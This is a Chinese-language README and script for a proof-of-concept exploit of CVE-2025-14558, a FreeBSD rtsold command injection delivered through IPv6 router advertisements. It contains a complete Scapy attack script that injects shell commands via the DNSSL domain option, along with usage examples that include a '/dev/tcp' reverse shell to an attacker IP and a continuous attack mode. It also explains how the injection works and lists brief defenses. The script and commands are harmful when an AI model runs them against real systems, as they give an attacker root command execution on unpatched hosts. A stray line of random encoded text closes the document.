CVE-2025-14558 PoC - FreeBSD rtsold命令注入漏洞利用
项目描述
CVE-2025-14558是一个影响FreeBSD系统IPv6路由器请求服务的**关键远程代码执行(RCE)**漏洞。该漏洞存在于rtsol(8)和rtsold(8)组件中,当FreeBSD系统使用IPv6无状态地址自动配置(SLAAC)时,攻击者可以通过本地网络段发送恶意的IPv6路由器通告包,利用域名搜索列表(DNSSL)选项中的输入验证不足,在目标系统上以root权限执行任意shell命令。
CVSS v3评分:9.8/10(严重风险级别)
功能特性
- 恶意IPv6 RA包构造:自动生成包含命令注入负载的IPv6路由器通告包
- DNSSL选项注入:利用域名搜索列表选项中的shell命令注入漏洞
- 多种攻击模式:支持单次发送或持续循环发送恶意包
- 灵活的命令注入:可通过参数自定义要执行的任意系统命令
- 网络接口选择:支持指定发送攻击包的网络接口
- IPv6前缀自定义:可配置要广播的IPv6前缀地址
安装指南
系统要求
- Python 3.x
- 需要root权限运行(因为需要发送原始网络包)
- Scapy网络包操作库
依赖安装
# 安装必要的Python库
pip install scapy
# 或者通过requirements.txt安装
pip install -r requirements.txt
运行环境
该脚本必须在具有IPv6支持且可以发送原始网络包的系统上运行,通常需要root权限:
sudo python3 CVE-2025-14558.py --iface eth0 --command "id > /tmp/pwned"
平台注意事项
- 攻击机:任何支持Python和Scapy的Linux/Unix系统
- 目标机:未打补丁的FreeBSD系统(2025年12月16日之前的版本)
- 网络要求:攻击者和目标必须在同一本地网络段(L2网络)
使用说明
基础使用示例
基本命令注入测试:
sudo python3 CVE-2025-14558.py \
--iface eth0 \
--command "id > /tmp/pwned"
创建文件标记:
sudo python3 CVE-2025-14558.py \
--iface eth0 \
--command "touch /tmp/exploit_success"
反向Shell连接:
# 首先在攻击机上启动监听
nc -lvnp 4444
# 然后执行攻击(替换YOUR_IP为攻击机IP)
sudo python3 CVE-2025-14558.py \
--iface eth0 \
--command "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
持续攻击模式:
sudo python3 CVE-2025-14558.py \
--iface eth0 \
--command "id >> /tmp/continuous_pwned" \
--loop
自定义IPv6前缀:
sudo python3 CVE-2025-14558.py \
--iface eth0 \
--command "whoami > /tmp/whoami" \
--prefix "2001:0db8:85a3::"
参数说明
| 参数 | 说明 | 示例 |
|---|---|---|
--iface | 发送攻击包的网络接口 | eth0, wlan0 |
--command | 要注入执行的shell命令 | "id > /tmp/pwned" |
--prefix | IPv6前缀地址(可选) | "2001:db8::" |
--loop | 持续发送包模式(可选标志) | 无参数值 |
验证攻击成功
在目标FreeBSD系统上检查:
# 检查命令执行结果
ls -l /tmp/pwned
cat /tmp/pwned
# 检查进程是否运行
ps aux | grep rtsold
核心代码
主攻击脚本
#!/usr/bin/env python3
# CVE-2025-14558 PoC - FreeBSD rtsold Command Injection via DNSSL in Router Advertisement
# Author: Ash Wesker
# Requirements: pip install scapy
# Run as root: sudo python3 CVE-2025-14558.py --iface eth0 --command "id > /tmp/pwned"
from scapy.all import *
import argparse
# 解析命令行参数
parser = argparse.ArgumentParser(description="CVE-2025-14558 PoC - Send malicious IPv6 RA with DNSSL injection")
parser.add_argument("--iface", required=True, help="Network interface to send from (e.g. eth0)")
parser.add_argument("--command", required=True, help="Command to inject (e.g. 'id > /tmp/pwned' or reverse shell)")
parser.add_argument("--prefix", default="2001:db8::", help="IPv6 prefix to advertise (default: 2001:db8::)")
parser.add_argument("--loop", action="store_true", help="Send packets continuously")
args = parser.parse_args()
# 构造恶意域名:以 ;命令 # 结尾的域名
malicious_domain = f"evil.com; {args.command} #".encode('utf-8')
# 构造包含DNSSL选项的ICMPv6路由器通告包
packet = (
IPv6(dst="ff02::1") / # 所有节点的多播地址
ICMPv6ND_RA(chlim=64, routerlifetime=9000) /
ICMPv6NDOptPrefixInfo(prefixlen=64, prefix=args.prefix) /
ICMPv6NDOptDNSSL(lifetime=9000, searchlist=[malicious_domain])
)
print(f"[+] Sending malicious RA on {args.iface}")
print(f"[+] Injected command: {args.command}")
print(f"[+] Target must run vulnerable rtsold and process the RA")
# 根据模式发送包
if args.loop:
# 持续发送模式,每秒发送一个包
send(packet, iface=args.iface, inter=1, loop=1, verbose=0)
else:
# 单次发送模式,发送10个包,间隔1秒
send(packet, iface=args.iface, count=10, inter=1, verbose=0)
print("[+] Done. Check target for execution (e.g. /tmp/pwned)")
漏洞原理分析
# 漏洞触发机制:
# 1. rtsold接收到包含DNSSL选项的IPv6路由器通告
# 2. 将域名列表传递给/sbin/resolvconf
# 3. resolvconf使用不安全的shell引用处理域名输入
# 4. 恶意域名"evil.com; command #"中的分号被解释为命令分隔符
# 5. # 符号注释掉后续参数,使得命令成功执行
# 恶意域名构造逻辑:
# 格式:"合法域名; 恶意命令 #"
# 示例:"evil.com; id > /tmp/pwned #"
# 在shell中解释为:
# resolvconf ... "evil.com; id > /tmp/pwned #"
# 实际执行:
# resolvconf ... evil.com; id > /tmp/pwned
网络包结构
# IPv6路由器通告包层次结构:
# 1. IPv6层
# 目标地址:ff02::1(所有节点的链路本地多播地址)
#
# 2. ICMPv6邻居发现路由器通告层
# chlim: 64(跳数限制)
# routerlifetime: 9000秒(路由器生存时间)
#
# 3. 前缀信息选项
# prefixlen: 64(前缀长度)
# prefix: 用户指定的IPv6前缀
#
# 4. DNSSL(域名搜索列表)选项(漏洞利用点)
# lifetime: 9000秒(选项生存时间)
# searchlist: 包含恶意命令的域名列表
#
# 这个结构符合RFC 6106定义的IPv6路由器通告格式,
# 但利用了DNSSL选项值处理不当的安全漏洞。
攻击流程控制
# 攻击发送控制逻辑:
def send_attack_packets(packet, interface, loop_mode=False):
"""
发送恶意IPv6路由器通告包
参数:
packet: 构造好的Scapy包对象
interface: 网络接口名称
loop_mode: 是否持续发送模式
返回:
无返回值,但会输出状态信息
"""
if loop_mode:
# 持续攻击模式:无限循环发送,每秒一个包
# 用于确保目标系统在任意时间启动都能收到攻击
send(packet, iface=interface, inter=1, loop=1, verbose=0)
print("[*] Continuous attack mode active. Press Ctrl+C to stop.")
else:
# 标准攻击模式:发送10个包,间隔1秒
# 考虑到网络丢包可能,发送多个包提高成功率
send(packet, iface=interface, count=10, inter=1, verbose=0)
print("[*] Standard attack completed (10 packets sent).")
# 提示用户检查攻击结果
print("[*] Check target system for command execution evidence.")
安全注意事项
# 重要安全警告:
# 1. 此脚本仅用于授权测试和教育目的
# 2. 在实际攻击前必须获得明确授权
# 3. 攻击成功会导致目标系统完全沦陷(root权限)
# 4. 建议在隔离的实验室环境中测试
# 5. FreeBSD已于2025年12月16日发布修复补丁
# 防御措施:
# 1. 应用FreeBSD官方安全补丁
# 2. 如不需要,禁用rtsol/rtsold服务
# 3. 过滤或阻止不受信任的IPv6路由器通告
# 4. 使用网络分段限制本地攻击暴露面
# 5. 监控网络中的异常IPv6流量
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5RRUMf0BdM42qxrWmyqDJQ